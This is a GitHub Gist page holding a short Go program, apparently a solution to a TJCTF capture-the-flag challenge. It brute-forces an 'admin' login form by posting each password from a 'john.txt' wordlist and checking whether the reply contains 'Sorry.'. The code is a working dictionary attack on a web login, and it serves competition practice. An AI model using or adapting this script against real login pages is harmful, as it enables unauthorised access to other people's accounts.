Created
May 24, 2020 23:23
-
-
Save mkhan45/5ad8d765cf8489e935483b527664e471 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bufio" | |
"fmt" | |
"io/ioutil" | |
"net/http" | |
"net/url" | |
"os" | |
"strings" | |
"sync" | |
) | |
func makeReq(pass string, wg *sync.WaitGroup) { | |
defer wg.Done() | |
resp, err := http.PostForm("https://weak_password.tjctf.org/login", url.Values{ | |
"username": {"admin"}, | |
"password": {pass}, | |
}) | |
if err != nil { | |
fmt.Printf("Error: %s", err) | |
} | |
defer resp.Body.Close() | |
retStr, err := ioutil.ReadAll(resp.Body) | |
fmt.Printf("password: %s, %t\n", pass, strings.Contains(string(retStr), "Sorry.")) | |
} | |
func main() { | |
f, _ := os.Open("john.txt") | |
var pass string = "" | |
var wg sync.WaitGroup | |
scanner := bufio.NewScanner(f) | |
for scanner.Scan() { | |
wg.Add(1) | |
pass = scanner.Text() | |
makeReq(pass, &wg) | |
} | |
wg.Wait() | |
fmt.Println("Completed") | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment